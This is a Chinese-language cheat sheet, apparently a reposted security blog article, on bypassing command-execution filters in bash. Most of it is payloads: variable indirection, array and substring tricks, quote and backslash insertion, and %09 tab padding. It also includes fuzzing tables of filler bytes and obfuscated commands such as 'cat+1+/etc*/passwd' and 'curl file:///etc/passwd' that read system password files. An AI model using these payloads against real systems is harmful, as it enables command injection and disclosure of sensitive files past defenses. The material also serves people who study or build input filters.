命令执行绕过总结 Command Execution Bypass

命令执行绕过总结 Command Execution Bypass

基础知识

$包裹的内容会被bash进行解析 如下

1. $""
2. $''
3. $()
4. \`$id\`

$包裹的内容增添包裹,有可能会持续深入解析

如下,我们在test目录新建了一个whoami,当我们用$(ls)的方式去访问,则$会继续解析ls的结果

命令执行绕过总结 Command Execution Bypass
命令执行绕过总结 Command Execution Bypass
命令执行绕过总结 Command Execution Bypass

绕过实战

(1)${!绕过

通过阅读官方文档${!可以间接扩展,可以通过这种方式进行绕过命令执行

命令执行绕过总结 Command Execution Bypass
命令执行绕过总结 Command Execution Bypass
var1=i;name=var1;${!name}d
命令执行绕过总结 Command Execution Bypass

当存在*@的时候,会匹配前缀,一样可以绕过

wh=wh;o=o;ami=am;${!wh@}${!o@}${!ami@}
   wh=wh;o=o;ami=am;${!wh*}${!o*}${!ami*}
   who=who;mi=mi;${!who*}a${!mi*}
   who=who;mi=mi;${!who@}a${!mi@}
命令执行绕过总结 Command Execution Bypass

(2)数组参数绕过

names=("i" "d");${names[0]}${names[1]}
命令执行绕过总结 Command Execution Bypass

(3)${绕过

测试发现${内部如果存在已经定义的变量,中间用特殊符号去做处理,${会先解释定义的变量的值,忽略其他的内容,然后和后面的}外部的值做拼接。效果如下

ff=whoa;${ff?6666666666666666666}mi
ff=whoa;${ff/6666666666666666666}mi
ff=whoa;${ff-6666666666666666666}mi
a=whoa;ff=$a;${ff?6666666666666666666}mi
命令执行绕过总结 Command Execution Bypass

(4)string绕过

whoami

string=who123esaxami;${string:0:3}${string:10:12} 
names=("who123esaxami" "d");${names[0]:0:3}${names[0]:10:12} 
array[0]=who123esaxami;${array[0]:0:3}${array[0]:10:12}
命令执行绕过总结 Command Execution Bypass
命令执行绕过总结 Command Execution Bypass
命令执行绕过总结 Command Execution Bypass

(5)–绕过(作为set的特殊用法)

linux中 –表示后面的参数不再被解释为选项,而是被解释为位置参数。那么我用可以采用set+字符串截断的方式,进行拼凑命令行参数。也可以用@来表示。

set -- 123who456ami;${:3:3}${:9:3}
命令执行绕过总结 Command Execution Bypass
c=set -- w h o a m i;$1$2$3$4$5$6
命令执行绕过总结 Command Execution Bypass

(6)array绕过

@表示返回当前的,后续可以返回每个元素
*表示当前的元素全部返回 按照空格进行分隔
都可以用::的方式进行截取字符串

array=(0 1 2 3 4 5 6 123 ami);who${array[@]:8}
命令执行绕过总结 Command Execution Bypass
array=(0 1 2 3 4 5 6 who ami);${array[@]:7:1}${array[@]:8}
命令执行绕过总结 Command Execution Bypass

(7)#与%格式的绕过

${var#.}会匹配最短的.后面的内容;${var##.}会匹配最长的.后面的内容
%和#类似,不过%是会保留匹配的内容

var="example.who";var1="example.ami";${var#*.}${var1#*.}
var="example.123.666.who";var1="example.ami";${var##*.}${var1#*.}
c=var2="who.666";var3="ami.666";${var2%.*}${var3%.*}
命令执行绕过总结 Command Execution Bypass
命令执行绕过总结 Command Execution Bypass

(8)字符串匹配绕过

${parameter/pattern/string}:这会将参数中的第一个匹配pattern的部分替换为string。
${parameter//pattern/string}:pattern的部分都替换为string。
${parameter/#pattern/string}:这会只有当参数的开头与pattern匹配时,才将开头的pattern替换为string。
${parameter/%pattern/string}:这pattern匹配时,才将结尾的pattern替换为string。

var="w123hoami";${var/123/}
var="w123oami";${var/123/h}
var1=w123ho123am123i;${var1//123/}
var1=123ami;${var1/#123/who}
var1=who123;${var1/%123/ami}
var1=who123;rep=ami;${var1/%123/$rep}
命令执行绕过总结 Command Execution Bypass

(9)\ ‘ “绕过

linux系统中,\表示转义,单个使用不影响命令本身的执行

c=w\h\oa\m\i
c=whoam''i
who""ami
命令执行绕过总结 Command Execution Bypass

(10) 环境变量绕过(本质也是变量拼接)

命令执行绕过总结 Command Execution Bypass
c=declare -x VARIABLE_NAME2="wh";declare -x VARIABLE_NAME3="oami";$VARIABLE_NAME2$VARIABLE_NAME3
命令执行绕过总结 Command Execution Bypass

(11)bash变量绕过

命令执行绕过总结 Command Execution Bypass
c=ami;who$_ $_代表前面一个命令的结果。

参数命令执行绕过(类似ls -al这种)

array=(ls 222 -al);${array[*]}

(12)%09绕过

(1)命令+属性

ls%09%09-al
命令执行绕过总结 Command Execution Bypass

(2)命令+参数

cat%09%09%09%09%09%09%09%09111111%09/etc/passwd
cat%09%09%09%09%09%09%09%09111111%09/et?/pa??wd
curl%09http://127.0.0.1:8088121waqdasd%09http://127.0.0.1:8087
命令执行绕过总结 Command Execution Bypass

(13)bin绕过

/tmp/../bin/whoami
命令执行绕过总结 Command Execution Bypass

(14)单个命令绕过两边填充绕过

成对出现
0A        0A         
       0a        0a             
       09        09                
       2A        2A              
       2a        2a                
       20        20    (空格)ls(空格)
       22        22  "ls"          
       27        27   'ls'        
       5C        5C   \ls\         
       5c        5c
命令执行绕过总结 Command Execution Bypass
左边单个填充
0A                 
0a                    
09                       
2A                     
2a                        
20            (空格)ls(空格)         
5C           \l\s         
5c
命令执行绕过总结 Command Execution Bypass
右边单个填充
3225        0A        200        false        false        277        
3251        0a        200        false        false        277        
3286        09        200        false        false        277        
3349        2A        200        false        false        277        
3375        2a        200        false        false        277        
3401        20        200        false        false        277        
3407        26        200        false        false        277        
3412        3B        200        false        false        277        
3438        3b        200        false        false        277        
3537        5C        200        false        false        277        
3563        5c        200        false        false        277
命令执行绕过总结 Command Execution Bypass
左右边成对出现
3225        0A        0A        200        false        false        277        
3251        0a        0a        200        false        false        277        
3286        09        09        200        false        false        277        
3349        2A        2A        200        false        false        277        
3375        2a        2a        200        false        false        277        
3401        20        20        200        false        false        277        
3403        22        22        200        false        false        277        
3408        27        27        200        false        false        277        
3649        60        60        200        false        false        277
命令执行绕过总结 Command Execution Bypass
右边参数污染
3225        0A        0A        200        false        false        277        
3251        0a        0a        200        false        false        277        
3407        26        26        200        false        false        277        
3413        3C        3C        200        false        false        277        
3439        3c        3c        200        false        false        277        
3661        7C        7C        200        false        false        277        
3687        7c        7c        200        false        false        277
命令执行绕过总结 Command Execution Bypass
左边参数污染
3225        0A        0A        200        false        false        277        
3251        0a        0a        200        false        false        277        
3661        7C        7C        200        false        false        277        
3687        7c        7c        200        false        false        277
命令执行绕过总结 Command Execution Bypass

(15)单个命令中间填充绕过

需要成对出现
22
  27
  60
  2a
命令执行绕过总结 Command Execution Bypass
单独出现(可在字符串中无限单个添加)
5c
命令执行绕过总结 Command Execution Bypass

(16)组合命令检测

这里用ls -al测试(命令+属性),这里只要是针对属性测试了

ls

(1)-al总体绕过

特殊字符绕过(左边)

3286        09        200        false        false        1398        
3349        2A        200        false        false        1398        
3375        2a        200        false        false        1398        
3401        20        200        false        false        1398        
3537        5C        200        false        false        1398        
            5c        200        false        false        1398
命令执行绕过总结 Command Execution Bypass
双边
2        "        "        200        false        false        791        
7        '        '        200        false        false        791        
11        +        +        200        false        false        791        
24        \        \        200        false        false        791        
3        #        #        200        false        false        296        
6        &        &        200        false        false        296        
17        ;        ;        200        false        false        296        
28        `        `        200        false        false        296
命令执行绕过总结 Command Execution Bypass
(2)al绕过

这里绕过的情况有点多,就不列举了 但是格式是下面这种

ls -%eH(url编码)al
ls -a%eH(url编码)l
ls -al%WC(url编码)
命令执行绕过总结 Command Execution Bypass

二 命令+文件

cat /etc/passwd
绕过方式
(1)这里需要通配符去打乱
cat%20/e?c/passwd
cat%20/e*c/passwd
(2)多个参数绕过(第一参数满足长度小于即可)
cat+1+/etc/passwd
命令执行绕过总结 Command Execution Bypass

敏感文件的绕过直接打乱/etc/passwd的直接顺序即可,最终绕过的payload如下

cat+1+/etc//passwd
cat+1+/etc*/passwd
cat+1+/etc\/passwd
cd+/etc+%26%26+cat+passwd
cat ~/../../etc/snmp/../passwd
curl file:///etc/passwd
命令执行绕过总结 Command Execution Bypass

from

https://xz.aliyun.com/t/16072

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注